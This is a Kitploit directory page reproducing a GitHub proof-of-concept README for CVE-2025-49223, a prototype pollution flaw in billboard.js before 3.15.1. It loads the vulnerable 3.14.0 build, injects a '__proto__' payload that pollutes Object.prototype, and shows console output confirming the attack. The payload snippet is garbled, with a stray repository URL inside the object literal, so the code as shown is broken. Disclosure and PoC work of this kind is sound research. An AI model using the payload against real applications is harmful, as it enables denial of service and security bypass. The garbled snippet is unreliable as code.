Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-49223-BillboardJS-PoC — CVE-2025-49223 - Prototype Pollution in Billboard.js | Kitploit
Tools/GitHubGitHub/louay-075/cve-2025-49223-billboardjs-poc
Vulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHublouay-075/cve-2025-49223-billboardjs-poc

CVE-2025-49223-BillboardJS-PoC

CVE-2025-49223 - Prototype Pollution in Billboard.js

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
111 year agoNot yet reviewed

💥 CVE-2025-49223 - Prototype Pollution in Billboard.js

billboard.js before 3.15.1 was discovered to contain a prototype pollution via the function generate, which could allow attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.

This repository demonstrates a Prototype Pollution vulnerability found in billboard.js versions prior to 3.15.1, disclosed as CVE-2025-49223.


📌 Summary

  • Vulnerability Type: Prototype Pollution
  • Affected Library: billboard.js
  • Affected Versions: <= 3.14.0
  • Fixed Version: >= 3.15.1
  • CVE ID: CVE-2025-49223
  • Impact: execute arbitrary code or cause a Denial of Service

🧪 Proof of Concept (PoC)

Open index.html in a browser and check the console log for prototype pollution attempts.

Load vulnerable version:

root@kitploit:~
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/billboard.pkgd.min.js"></script>

Pollution Attempt:

root@kitploit:~
{
  ["__proto__"]: https://raw.githubusercontent.com/louay-075/cve-2025-49223-billboardjs-poc/HEAD/%7B
    polluted: "polluted_via_string_key"
  }
}

Console Output:

root@kitploit:~
🔥 string key '__proto__' -> POLLUTED! Value: polluted_via_string_key

This confirms that an attacker can pollute Object.prototype, impacting any future object created across the page.


🔥 Impact

Successful exploitation may lead to:

  • Arbitrary key injection into all objects
  • Tampering with chart rendering logic
  • Application crashes (DoS)
  • Potential for security bypass in apps relying on unsafe object merging


🛡️ Mitigation

  • ✅ Upgrade to billboard.js version 3.15.1 or later

🧱 References

  • 🔗 CVE-2025-49223 on NVD
  • 🔗 Billboard.js 3.15.1 Release Notes


⚠️ Disclaimer: This PoC is for educational and research purposes only. Use responsibly.

Download Tool